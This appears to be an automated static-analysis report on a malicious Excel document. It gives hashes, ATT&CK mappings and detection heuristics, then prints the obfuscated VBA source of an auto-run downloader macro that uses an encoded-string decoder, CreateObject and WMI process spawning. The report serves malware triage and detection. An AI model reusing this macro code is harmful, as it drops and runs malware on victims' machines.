Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd3dcb457640c454…

MALICIOUS

Office (OLE)

620.5 KB Created: 2018-10-17 23:02:20 Authoring application: Microsoft Excel First seen: 2019-05-16
MD5: 76659ffcfe2da1ab111cd4d64f035dbc SHA-1: 692ac24a26e5911801b7ee94d701bc14717d227a SHA-256: cd3dcb457640c454dfa970441b019ab73183196c34e6e3e6916ee8250492ecdc
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The critical heuristic OLE_VBA_HTTP_DROP_EXEC indicates that the VBA macros download and write a file to disk. The critical heuristic OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER and OLE_VBA_PCODE_AUTOEXEC_EXEC further suggest an obfuscated auto-exec loader, likely initiated by the Workbook_Open event. The SE_ENABLE_LURE heuristic confirms the presence of a lure to enable macros, a common tactic for malicious Office documents.

Heuristics 10

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        YWYLcEf = ZwATmHc.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set SFjIyQWB = CreateObject(qaLxE)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set SFjIyQWB = CreateObject(qaLxE)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call UorLE.SaveToFile(Environ(ljupFrtHf("TfxJs!e.  jYmL Io%p  Lri")) & ljupFrtHf("\U- hX\ScA?&It !) mYGdpaUp))G)ryK@&h.hwjyQeivk#sxAot]%e! W ("), 5 + 3 - 6)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 193765 bytes
SHA-256: 728acf454303b743e003bc252f3ad89509c5639152c4435b741752afd218fc8f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
933 of 1559 identifiers look randomly generated (e.g. 'ZHTLqOplGaeVaPLdiSof'); 54 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
            For UsmvkY = 2 To 6
                IcWHOZEaBd = 17 - 43 - 65 - 89
                BjazuJXF = LTrim(" $  TJx[#Omrq")
                DyMVUkIeED = 14 + 88
                dMmuTV = UCase("V   Z?hZ#?Kv m") + RTrim("vzu- PJL ! f]y_QF")
                wetFsRZ = UCase(" pq!%giKN ONopz O") + RTrim(" )Qu #? t v  ")
            Next UsmvkY

    EeLRD = Left("UApzHU].-@X QEb!S", 5) + LTrim(" e Rn")
    GfCepJLtbOg = 33 - 42 - 69 - 32 - 20
    GfCepJLtbOg = Right("Rew&um T] sY&@", 3)
            While BIReVA < 1
                While yasiJw < 1
                    LPFvy = Right("ac!  I  y S", 2)
                    pCvNerJNoWlH = LTrim(".$     ta")
                    EzabcQ = RTrim(" # _I ucLuw") + UCase("K  @N%U $ NP-KkU  ")
                    yasiJw = yasiJw + 1
                Wend

                YEuxKLi = Left("#_Mw @I   WrUR", 5) + LTrim("KnIJ[z  Oy-xm lA")
                

                CXknZYaODvM = Left(" sOT]bBpvZ). q&$ -iI", 2) + LTrim("qAW_G#T Pd p")
                JoqWg = RTrim("b.XyPf      .-h") + UCase("Ply (N V")
                BIReVA = BIReVA + 3
            Wend

    YEuxKLi = RTrim("j col ") + StrReverse("mo dyH . m")
    YJHtgOC = 78 + 68 + 69
            For riSbjm = 2 To 3
                While kzhNtj < 1
                    QNLPG = Right(" ^! M   D Y[ ]nA", 3)
                    

                    bjkoowYfvQm = RTrim("]. &h%Cr   ") + UCase("x &k-a")
                    uxLNIXUZ = RTrim("HzK q][  AH ") + UCase("w O  AA )P hms!q . ")
                    GfCepJLtbOg = RTrim(" G ztUa rN $ $ ]") + UCase("b  Dj")
                    kzhNtj = kzhNtj + 1
                Wend

                uxLNIXUZ = Space(5) + Left("zZ qJ(  RsShx[", 2)
                GDcXMlrYGaPp = 29 - 14
                wetFsRZ = 92 - 90 - 63 - 87 - 29
                pCvNerJNoWlH = Left(" OjL%fTBgR", 2) + LTrim("g N ?$PFBi [ aeXYB")
            Next riSbjm

            While zvRzFc < 3
                While fThqtP < 3
                    IcWHOZEaBd = RTrim("s@H &]Lo") + StrReverse("vdB%P@")
                    kPdEdr = 52 - 83 - 67 - 70
                    QNLPG = RTrim("JFEP&. zxxC") + StrReverse("e XItLIZrk g@Fn ")
                    fThqtP = fThqtP + 2
                Wend

                UHGRb = RTrim("_QQdN BdMMJu G?F S ") + UCase(" ( U V#J-  ")
                kPdEdr = Right("jP-.d cy W    gF[ ", 5)
                dXSgAftLnfYn = 44 + 47 + 69 + 6 + 91 + 89
                bjkoowYfvQm = 62 + 78 + 50 + 44 + 10
                dXSgAftLnfYn = Space(18) + Left("j %i-t HU ", 3)
                zvRzFc = zvRzFc + 1
            Wend

    bmsWn = Right("q  K#", 4)
    PjsSLEAK "hPdueRNjX", "lELfzmW", "aSCLEaNyXB", "rgWXzVo", "xIQiNSeyi", "bSQzrIOan", "fAWYCVx", "AqWrAENY", "gtZWTA"
    

    bjkoowYfvQm = RTrim(" Ct K#Qn qy e ") + UCase("Xp  CII  ")
    uyOWpo = Space(9) + Left("p jvc .", 4)
    CXknZYaODvM = Left(")(!M#& %_", 5) + LTrim("fdsD )g )IX")
    piUZjOOUIq = 27 - 96 - 89
            For MEgkus = 2 To 3
                For nPoVJb = 2 To 7
                    uyOWpo = Space(18) + Left("R)xbl Jl ", 3)
                    LPFvy = RTrim("qc[EX X T  $z") + StrReverse(" fTcSCdi")
                    cUubGLjbJOqD = Right("j Cvp  ", 4)
                Next nPoVJb

                piUZjOOUIq = Left(" KpB i", 5) + LTrim("c& gR kNRqH")
                JoqWg = RTrim("bR? ImfM^C#ksAHN ") + UCase("m_jOFz")
                

                bmsWn = 31 - 58 - 56 - 80 - 5 - 93
            Next MEgkus

    cNVfXF = LTrim("&qHi#JiPZLYjK[c  Gz")
    pCvNerJNoWlH = RTrim(") osg xBxE m A )]Y ") + UCase(" M  K Z!^dci rLF")
    pCvNerJNoWlH = 72 + 32
    piUZjOOUIq = 1 + 5 + 9


End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function XJThyN(UxruEOL As Integer, CwxihcV As Boolean, nwMFvF As String) As String
    EeLRD = 83 + 32 + 77 + 27 + 83 + 72
    pCvNerJNoWlH = 89 - 72 - 20 - 42
    EzabcQ = 82 + 31 + 30 + 12 + 49 + 86
    bmsWn = RTrim("R(m GZ x_  )ud   )") + UCase("  c m E Nu q@j#A")
    IGNvPxz = RTrim("    s u") + UCase(" @h[ Ew Id   ZB ")
    EzabcQ = 25 - 35 - 29 - 39 - 63
    pCvNerJNoWlH = RTrim("bKip@ ?UIf") + StrReverse("  RP k $)r [i")
    While ZvyCeZ < 2
        While UFCEZR < 1
            uxLNIXUZ = UCase("PZ _ XZ Js") + RTrim("ANjoQuM H[")
            afeSVypFJR = 26 - 13 - 96 - 15 - 44
            YEuxKLi = RTrim("qkm%?Ky&y u @v") + StrReverse("wLJ # q!")
            UFCEZR = UFCEZR + 2
        Wend

        bjkoowYfvQm = RTrim("s!#rW") + UCase("ydMx# %l  s ? ")
        afeSVypFJR = 12 - 35
        GoXFOcShU = Space(4) + Left("Ub Tn  ?t&", 4)
        VZhPDtlLCzcD = Right("AtP# ", 5)
        EeLRD = UCase("Q ij o^UYHO vr") + RTrim("S Fk OLCS$r")
        ZvyCeZ = ZvyCeZ + 2
    Wend

    CXknZYaODvM = Right("&Au O#- t NsGL _JA$ ", 4)
    YEuxKLi = Left("bu&.nq  y", 5) + LTrim(")XQ lTp")
    CXknZYaODvM = 58 + 83
    afeSVypFJR = Left("Q - F#u?g P(Vaaiez", 3) + LTrim("p^_ J &_")
    CvwMvD = Right(" CS$ HE  ZN & o W", 4)
    For dHoirg = 2 To 8
        VZhPDtlLCzcD = Right("OFP   D  ", 5)
        UHGRb = UCase("lSpdSvU mfN") + RTrim("  fO %])")
        

    Next dHoirg

    While ZUGABY < 4
        UHGRb = Right("zT  Ji EiX@[G T ?  ", 4)
        wetFsRZ = UCase("c#fXt  qu") + RTrim("JTR  Z] V ?g Q")
        QNLPG = Left("   cflqf", 5) + LTrim(" ZF  e")
        

        ZUGABY = ZUGABY + 3
    Wend

    For GfXzAo = 2 To 3
        For BAjIos = 2 To 9
            CJvDsHg = Right("dVJ@ oPyb ", 4)
            piUZjOOUIq = Right("]NoL kM_Tu", 2)
            

        Next BAjIos

        CXknZYaODvM = 82 - 11 - 43
        dXSgAftLnfYn = LTrim(" S&Fs@ jT ] R[z CJj")
        cNVfXF = Space(15) + Left("glM@#p    FQX)", 4)
        kPdEdr = 4 + 25 + 78
        VZhPDtlLCzcD = UCase(" $(USi.^XVbqh!P^b") + RTrim("oRurbHF[ Uz")
    Next GfXzAo

    YJHtgOC = Left("(dbdHPKn AfR) g", 3) + LTrim(" i_ X &s%D_")
    GDcXMlrYGaPp = Right("(!)FRg d%?yxwem", 2)
    XJThyN = "QJNTbZbrEIeuICDbwc"
End Function



Attribute VB_Name = "Module2"

Sub PkraMl(TmRLtV As Double, ikwbGzj As String, qnkWMQ As Double, LjHmBg As Boolean)
    wetFsRZ = Space(7) + Left("sGF pqk", 4)
    EzabcQ = Space(7) + Left(" & # @i", 5)
    cUubGLjbJOqD = UCase("ei Au#rDL?a") + RTrim(".u!p F%ivzpvCM")
    piUZjOOUIq = Space(7) + Left("bFIveJnJp F  ", 4)
    UHGRb = RTrim("ZR!hy-u]") + StrReverse("omhy(Y%S ytJk  @n P ")
    dMmuTV = Right("  $! SsRK q d", 5)
    DLoodKGVTiS = UCase("I)Gq)pv F@ AdmmD Aql") + RTrim("HBF ]xf[jSNWp.ZxB")
    wetFsRZ = RTrim("   t zXIJ ga") + UCase("J EYzO??-YUdnH.r)O")
    uxLNIXUZ = 87 - 69 - 77 - 31 - 81
    bjkoowYfvQm = 6 - 42 - 74 - 51
    YJHtgOC = Left("qn  (uFrT %", 2) + LTrim("i d G RH@v bWdLf")
    

    BjazuJXF = Right("V ^Fl  KMB(PdJr R V", 2)
    

    JoqWg = RTrim("EIC c GDA_gQW ") + StrReverse("F uF ")
End Sub



Attribute VB_Name = "Module3"

Function ljupFrtHf(TDwstI As String) As String
bmsWn = RTrim("iRzkMLm") + StrReverse("bLj wD  RX")
    Dim BmDofPc As String
    VZhPDtlLCzcD = Space(1) + Left("# WJ l pr", 2)
    Dim qqxbEsu() As Byte
    cUubGLjbJOqD = 45 - 1
    Dim pKrNJX As Integer
    BjazuJXF = 3 + 14 + 47 + 75 + 5 + 89
    Dim YIoBTapq(830) As Byte
    bjkoowYfvQm = Right("]uXwc", 2)
    pKrNJX = 0
    bjkoowYfvQm = Left(" r  A#M rFoT  ^S&P ", 3) + LTrim("D uW- ]wW]qM")
    qqxbEsu = StrConv(TDwstI, vbFromUnicode)
    IGNvPxz = Right("WRf   i CN[craD", 3)
    For VtKvuQ = 0 To UBound(qqxbEsu) - 1
    IGNvPxz = 59 - 83 - 13
        If (VtKvuQ Mod 6 = 0) Then
        DyMVUkIeED = RTrim("tzrKY") + UCase(" _B .pO  ")
            YIoBTapq(pKrNJX) = qqxbEsu(VtKvuQ)
            YEuxKLi = UCase("DT#)  Ov") + RTrim("_K)C D$ Ko")
            pKrNJX = pKrNJX + 5 + 6 - 10
            LPFvy = RTrim("e j _S swdWbh.n^ ") + UCase("t Tl   ")
        End If
        YJHtgOC = 7 - 42 - 57 - 24 - 5
    Next VtKvuQ
    

    ljupFrtHf = StrConv(YIoBTapq, vbUnicode)
    EzabcQ = Space(5) + Left("T US-e r?v !r", 2)
End Function


Attribute VB_Name = "Module4"

Public Sub MEBkJHBN(DUQkq As String, vyRHD As String, jCUIjG As String, FKmnjD As String, caqhtH As String, kPUCTX As String, BRaZPj As String, IXIBr As String, rDrqq As String, DUnVkJD As String)
    For SxIUfX = 2 To 3
        While mzFupE < 4
            GDcXMlrYGaPp = RTrim("^ C-]N.  l-") + UCase("  (OU")
            kPdEdr = RTrim(" ^QBM-fmKDsfVQoaveBJ") + UCase("o@U_gxJFBuY QU$GJH")
            LPFvy = RTrim("&psSHVpK B ") + StrReverse(" O b$ ")
            YJHtgOC = LTrim("j CJWkU C")
            mzFupE = mzFupE + 2
        Wend

        JoqWg = Space(10) + Left(" WG ^d  Z$", 3)
        CvwMvD = RTrim("mSA]s]N)m ") + StrReverse(" Oj _$WSn _P  M E B ")
        bmsWn = Space(15) + Left(" aQ[lLuLryips", 2)
    Next SxIUfX

    JoqWg = Right("QZ&)C_#uy W?#FA&  (M", 2)
    VZhPDtlLCzcD = 9 + 61
    While XbjvnS < 1
        CJvDsHg = Space(4) + Left("MsC@iKr%gt@)[", 5)
        cNVfXF = LTrim("z)amg?h h!  Kb?_TW")
        VZhPDtlLCzcD = Left(")( U  b ", 2) + LTrim("] B  veO] ]L[ dD_qt")
        XbjvnS = XbjvnS + 1
    Wend

    GDcXMlrYGaPp = Left("hIWn#% uXvae w]s", 3) + LTrim("d_Y@.K) L ad")
    For yECytS = 2 To 5
        While sVaBSu < 3
            dXSgAftLnfYn = 77 - 74 - 38 - 58
            wetFsRZ = LTrim("Asfn VQ&svtU$OtyL%!")
            cNVfXF = Space(15) + Left("    s e   d-&W] D c", 3)
            GfCepJLtbOg = Left("gSei%ItaYtd", 5) + LTrim("EjxX mqArx  ")
            IcWHOZEaBd = Space(15) + Left("  F Y YF%t&!OSU ", 4)
            sVaBSu = sVaBSu + 2
        Wend

        

        wetFsRZ = RTrim("Ksc   %(  RDL") + StrReverse("iMUb & Fo#")
        pCvNerJNoWlH = RTrim("& dm Vgd   y p ") + UCase(" - &Al ")
        pCvNerJNoWlH = LTrim("Sp$(   @hIj ")
        bjkoowYfvQm = 27 - 14 - 18
    Next yECytS

    DLoodKGVTiS = Space(9) + Left("^z^-yZB", 4)
    wetFsRZ = RTrim("KL(% T$a)XTMWgLG) ") + UCase("Me .  IvN Iu  HhG")
    dMmuTV = 59 - 18 - 16 - 37
    piUZjOOUIq = RTrim("!N KMt u]s uFaS  E") + StrReverse(" Jn bIZ ^ ")
    qaLxE = bulECIpgt("wzq FDiq.&)kni$ TYmwza)Tg$x(#@mXdtXDt CUYGsZ_Mce:gL u@\m[g(y\FL%P .Z%iX!\ DyNvro& TkoNqMmaogNq  t ]^Y-\LFK fcid BeippJE mF) rfv  B)m2 .ZmT")
    kPdEdr = UCase("Iu  #Gws[ BNI") + RTrim("  nVu O  R h    W")
    For WKpepN = 2 To 8
        cUubGLjbJOqD = RTrim(" R^c K #)DC)?$n ! B") + UCase("GMJ#M? OCh ^w@#M ]")
        IGNvPxz = UCase("et q^cyd ") + RTrim("bBO-  z!yx  mWu ")
        

        VZhPDtlLCzcD = LTrim("_f IT]lk$#iUU@FFW VY")
        JoqWg = RTrim("   U Z  PR _W LD E") + StrReverse(" NKhx Mb.( ) ")
    Next WKpepN

    

    For VXzxrX = 2 To 7
        

        cUubGLjbJOqD = RTrim("#[%E]n ") + StrReverse("iq]Qem")
        IGNvPxz = UCase(" ku  ") + RTrim("gcX NA")
    Next VXzxrX

    bjkoowYfvQm = LTrim("]jnyvfM P BiSZW")
    pCvNerJNoWlH = RTrim("TBx^Z") + StrReverse("cSP  $ k  [ X  ")
    uyOWpo = 17 - 97 - 98 - 17
    

    

    CXknZYaODvM = UCase("U ZBg x[  ?a") + RTrim("k]hp. ] (%L (l")
    EzabcQ = 68 + 89 + 76 + 95 + 62 + 50
    wetFsRZ = Right(" [(  EGc.Gbw)[x", 5)
    kPdEdr = LTrim("A  Q.@VJ_ qRKK-ibIa ")
    IcWHOZEaBd = Space(13) + Left("wh  XF", 5)
    UHGRb = Left("(  wY# B)J", 3) + LTrim("VI &#pwW#-cqmEu$")
    For PNrijv = 2 To 7
        GoXFOcShU = Left("kIy-gPDYm(", 5) + LTrim("h! UkCFYo(")
        VZhPDtlLCzcD = RTrim("t   cy zv (v_xJrUFwr") + UCase("H HL@gn-TqD)B #n")
        pCvNerJNoWlH = Space(9) + Left("fAZMP z", 2)
    Next PNrijv

    kPdEdr = 76 - 11 - 27
    bmsWn = 5 + 23 + 80
    DyMVUkIeED = 72 + 74 + 82
    Set SFjIyQWB = CreateObject(qaLxE)
    YEuxKLi = Right("VW d PZJM", 3)
    GfCepJLtbOg = RTrim("! u %T( exQL)dB") + UCase("  o bpRFv.k& iVXX&")
    IGNvPxz = RTrim("y      C  Si") + StrReverse(" i EelX  @")
    GoXFOcShU = RTrim(" E rl") + UCase("sOWLC &jgEcVdtU CF  ")
    cNVfXF = RTrim("X nqmK_p.Gd (") + StrReverse("FlSHhLn%d w @rC Ydb")
    afeSVypFJR = UCase("tW Y$ Ixm goLst_E") + RTrim(" Pm h!B")
    afeSVypFJR = UCase(" ]^ky Y    lc") + RTrim("  S  (  &pU#")
    QNLPG = 100 - 75 - 27
    YEuxKLi = 57 + 65
    

    qaLxE = bulECIpgt("Was IQiQ j .nYpV )3 F [-2mkS O_DuambPNEi?mrbFZ!-oF  D$c%H wweVlK Zsr uWKs.]!h&Sl^! Ote yk a UxP rbt!a^tYO )duH_ BLphn.ae")
    bjkoowYfvQm = RTrim("qw  DU%_Swg (UwVf") + StrReverse("nP F@La%py bX   g")
    piUZjOOUIq = 26 + 16 + 93 + 38 + 55 + 60
    GDcXMlrYGaPp = RTrim(" Q (E.D ") + UCase("hQ mIjAc")
    IGNvPxz = RTrim("UihP?S") + UCase("?hPg @  gg) ORc")
    

    DLoodKGVTiS = UCase("  H  # E(gG ^ ") + RTrim("-Bd- ")
    DyMVUkIeED = RTrim("a[Y . r") + StrReverse("t Ap K&B(ubyy lq")
    For UYjDAe = 2 To 3
        While wUXPsq < 3
            JoqWg = RTrim("Az hj  D Hd%tn") + UCase("_uc]L whkY ")
            dXSgAftLnfYn = 42 - 53 - 100 - 72 - 83 - 33
            bmsWn = RTrim("$  % jA emc &a ^)") + UCase("Leu  cMC_bS Cc$Pqbj")
            uyOWpo = 18 + 43 + 15 + 59 + 60
            wUXPsq = wUXPsq + 3
        Wend

        DLoodKGVTiS = LTrim("(uHa p QU")
        cUubGLjbJOqD = Left("Y^@Tu d qzZpj AK bEC", 3) + LTrim(" _ u$mw-%eZY")
        wetFsRZ = Right("ne bp", 5)
    Next UYjDAe

    uxLNIXUZ = Space(20) + Left(" -os..e", 4)
    GoXFOcShU = Space(18) + Left("HWE..b Z&y M!ALey", 2)
    GoXFOcShU = 14 - 45 - 30 - 20
    afeSVypFJR = Left("I&K&MyMc l@u$", 4) + LTrim("RNxVmj%P wSzy D")
    For SdoHQr = 2 To 6
        QNLPG = 85 + 40
        dMmuTV = RTrim("X #! D@ ") + StrReverse(" QkGK $ y$P]Q)cAyq")
        GoXFOcShU = 38 - 85 - 42 - 42 - 97 - 53
    Next SdoHQr

    dMmuTV = Right("!p kL C rY ", 2)
    CvwMvD = LTrim("R(Lezf ) Kd")
    UHGRb = LTrim("ou@q  KkcsZFnY")
    Set WQscHwq = SFjIyQWB.Get(qaLxE)
    UHGRb = Right(" O#Hg!CbpIMZ[S[B^E k", 2)
    JoqWg = RTrim("eVg .&Sf   Qd") + StrReverse("V!g vaAvi&Ra]^YDT ")
    GDcXMlrYGaPp = Left("w.Os F[", 3) + LTrim("lVc wnA")
    UHGRb = Right("UMoWC- ", 3)
    For HHIetz = 2 To 5
        For ukJkXW = 2 To 9
            CXknZYaODvM = Space(15) + Left("Z    N  k  Up qc ", 2)
            LPFvy = RTrim("H IFVz  ") + StrReverse("  ( ImhMvrq")
            DyMVUkIeED = UCase("iVp^#e   i[H") + RTrim("?Q O@ o f b%-pyUK  ")
        Next ukJkXW

        EzabcQ = RTrim("lb Ce c (.wW") + UCase("? .v @sGBj")
        bjkoowYfvQm = LTrim("JadJ_EiXT")
        GoXFOcShU = UCase("pV l-op ZZ F") + RTrim("S  J P uH")
        JoqWg = 28 + 96 + 26 + 59 + 65
        bjkoowYfvQm = Space(3) + Left(" gBOuJ DT%r ^H  K", 2)
    Next HHIetz

    CvwMvD = RTrim(" y  ))S%Wtnh rLc") + StrReverse("QiAyE &  l")
    cUubGLjbJOqD = LTrim("o)oaeV")
    kPdEdr = 80 - 95 - 85
    For JvdcPQ = 2 To 10
        VZhPDtlLCzcD = UCase("wE  vJWnlN G  j  O") + RTrim("xyG nJ#zduk")
        VZhPDtlLCzcD = Space(7) + Left("w  P_UjmOGgSAx j", 2)
        pCvNerJNoWlH = Left("CN a i TI", 4) + LTrim("hh)N  Y) #gsjR $")
        wetFsRZ = 24 - 35 - 22 - 63 - 95 - 0
    Next JvdcPQ

    DyMVUkIeED = RTrim("pACZ ") + StrReverse("Sl%aGfb")
    For YMLUlT = 2 To 5
        For kiwCUk = 2 To 10
            bmsWn = 54 - 85 - 64 - 71 - 60 - 83
            BjazuJXF = Space(6) + Left("^O  qtrkUiwQ (IJT ", 2)
            BjazuJXF = RTrim("une  ( Jna&  a mu ") + UCase("GEG & & aU")
        Next kiwCUk

        CvwMvD = UCase("Xfq(eoa#!yLoP- zJJ") + RTrim(" AY#BPx @")
        EzabcQ = UCase("gj HgsOe") + RTrim(" x)R-KxQ& ")
        pCvNerJNoWlH = Left("GjsOBp Ghq?", 5) + LTrim(" eKMMIr  RkVrUo")
        DyMVUkIeED = LTrim("QM    wCGdi")
        IcWHOZEaBd = Space(5) + Left("_b qDy iOMqRuv  dJY", 5)
    Next YMLUlT

    uxLNIXUZ = Space(20) + Left("H _ eeU.uVetu)S?", 2)
    DLoodKGVTiS = UCase("rwtu-.k$  TUZ.U") + RTrim("Y_w@( ")
    QNLPG = Left("  N xi vqi &R", 5) + LTrim("if bel ^j G[ [")
    GDcXMlrYGaPp = Space(6) + Left("ZE^]wL! QN  WuWTd", 3)
    cUubGLjbJOqD = 24 - 28 - 69
    dXSgAftLnfYn = RTrim("@m^WPe") + UCase("GMg   ^].aI hj EZ")
    dXSgAftLnfYn = UCase("  eo^DjtV@ W  ") + RTrim("i QM ! #[")
    GfCepJLtbOg = RTrim("XOpMi][yEz  M Pq HFd") + StrReverse("q !_Et")
    Set vgcQjp = WQscHwq.SpawnInstance_
    EeLRD = 99 - 24 - 84 - 21 - 69
    For PUYDDU = 2 To 5
        While DGxLSj < 1
            

            wetFsRZ = LTrim(" )- E$  J@^")
            bmsWn = Left("km(USE ", 4) + LTrim("Km  cFzh  XNpd sgp-f")
            EeLRD = Left("C)l?g  cZVSnwd&&x", 4) + LTrim("  )o dALw@  Z#i@ Lp!")
            DGxLSj = DGxLSj + 2
        Wend

        GfCepJLtbOg = Right(" Q  !ep_T GU [s", 3)
        GDcXMlrYGaPp = RTrim("  r!L eO % BP u%ce") + StrReverse(" @S( H  Fek_Ro")
        YEuxKLi = Left("V.(I% A", 4) + LTrim(")Yq _%  Jy HLJ @a")
    Next PUYDDU

    GoXFOcShU = Left("bM[KX  Pd x P)Y H  ", 4) + LTrim("! l!g qd x")
    YJHtgOC = Space(14) + Left(" eLYX s ", 5)
    JoqWg = UCase("ty %lr)vl C@") + RTrim("ed   p iPG")
    For xdEaQR = 2 To 6
        uxLNIXUZ = 35 + 47 + 99 + 42
        

        wetFsRZ = Left("Y  VpSr  ", 4) + LTrim("Az V  o  LaWDTE)i  P")
    Next xdEaQR

    

    While UFbupK < 4
        While iWZEEi < 4
            IcWHOZEaBd = 68 - 96 - 42
            dXSgAftLnfYn = RTrim(" iY q Pf px sU)(wd ") + UCase(" I?&ZM)T")
            

            iWZEEi = iWZEEi + 1
        Wend

        CvwMvD = LTrim("V pWNc DR")
        

        bjkoowYfvQm = Space(14) + Left(" .%ggN kpJ", 3)
        UFbupK = UFbupK + 2
    Wend

    While NrySXS < 2
        While RWjRgt < 2
            UHGRb = Left("u D tAYUk  TM$  ", 3) + LTrim("  oyxCZZ e)")
            EzabcQ = UCase("zJE _ztsjtKCx(") + RTrim("D d]oB. ?k@kDJ)L^ Cp")
            CvwMvD = Left(" eyFQ", 3) + LTrim("TgtqZX")
            RWjRgt = RWjRgt + 2
        Wend

        BjazuJXF = 96 - 80 - 82
        CvwMvD = LTrim(" N cL FcU@lC) YJW")
        CvwMvD = RTrim("g$bgpS  JMdr") + StrReverse("wfn L T J")
        LPFvy = RTrim("Pwi)$ j$me) (i VIO)l") + StrReverse("UCVSp ((Oq s lo")
        pCvNerJNoWlH = 34 - 58 - 2
        NrySXS = NrySXS + 1
    Wend

    

    For oDqHdj = 2 To 5
        While GMUmTB < 3
            EeLRD = LTrim("@YQ   a nX ^]Ce m-")
            IGNvPxz = Right("HuCa  v@ I", 2)
            UHGRb = 78 + 61 + 8 + 17 + 91 + 77
            cUubGLjbJOqD = RTrim("Jum)W WoCr   # D S") + UCase("KW]yeP Z j")
            JoqWg = 32 - 73 - 82 - 52
            GMUmTB = GMUmTB + 3
        Wend

        YEuxKLi = Left("AhUus(zSsN&M?NZ  R", 5) + LTrim("TH]EPDEF . C")
        UHGRb = RTrim("a - Ttl V") + StrReverse("mt?h .!wG ")
        kPdEdr = RTrim(" # Mu") + StrReverse("e^ .MPsdBnQKHm hOD ")
        JoqWg = 20 + 6 + 24 + 91 + 33 + 50
    Next oDqHdj

    For zRzYzs = 2 To 4
        While BzdTwF < 5
            

            DLoodKGVTiS = Right("Px#$y  k nvwbgq ", 3)
            GfCepJLtbOg = Space(7) + Left("V]@   DP HV   _i", 4)
            BjazuJXF = Left("&a Fz #ez!   .my k h", 5) + LTrim("dttFI P -G  T?OMy")
            BzdTwF = BzdTwF + 3
        Wend

        IcWHOZEaBd = 74 + 42 + 26
        kPdEdr = UCase("Oa%ZaL VUme sNSa") + RTrim("e?MEUT % ]AC!y")
        QNLPG = RTrim("G  kQ gZyvd  ixUvBao") + StrReverse("zbHLm F_fb.dMb%Cnt ")
        UHGRb = RTrim("tjTPzc_fpH@C") + StrReverse(" lKvvk CZg I U QcKFA")
        DyMVUkIeED = Space(1) + Left("yLB#h&Ncz", 5)
    Next zRzYzs

    pCvNerJNoWlH = RTrim("&#xIwr?E[") + UCase("WO)Yw DB")
    

    EzabcQ = Left(" d_ Rn LC_Psy", 2) + LTrim("q%juO  _GO _")
    bjkoowYfvQm = RTrim("GG]ux  fq") + UCase("e BvLv")
    bjkoowYfvQm = 55 - 82 - 98
    qaLxE = ljupFrtHf("wboa!Ii.PXQ)nvDV fmhkxjug_H N m?Jc  tzq .LsRDKmf:.ESUD\vUwWZ\Z &  .RVx  \BTVl r!.GkfocONaBoG(  YtxU XL\S.((jcLN_X]i $QnMm(U RWvq j.%2G Zh :UkVOtWk?qiTicq!pRn!D.q%3Fq o$2i]IWe_  .C P  iZFr.pC@Rox!up!c^ L !eGn HlsPwwzHs#Qha ")
    For IrlhsQ = 2 To 5
        For JfkhIE = 2 To 9
            JoqWg = 4 - 32 - 14
            EeLRD = Right("PjgpvL ", 3)
            dXSgAftLnfYn = 54 + 68 + 0 + 18 + 22
            EeLRD = Right("K Y!U", 4)
            EeLRD = Right(" tBj.Vxv   RFV!", 4)
        Next JfkhIE

        DyMVUkIeED = RTrim("(qFCOe K Y !") + StrReverse("d J!O  je!xN  .jB ")
        CJvDsHg = Space(1) + Left(" tiNKn  su", 2)
        pCvNerJNoWlH = RTrim("V p(tCxcpdQlex") + StrReverse("OlJ  rg Dhwr-FJ # Ub")
        UHGRb = Left("v H x ", 2) + LTrim("?Bf -  n A j ! uOgE")
        bmsWn = Right("I^iIY nBv I  g]", 2)
    Next IrlhsQ

    UHGRb = Left(" AphmOMaI $P  pW Ts&", 2) + LTrim(" (PL)-r IW@m O Ogx")
    bjkoowYfvQm = RTrim(" oQ Bf ") + StrReverse(" ?]_ME")
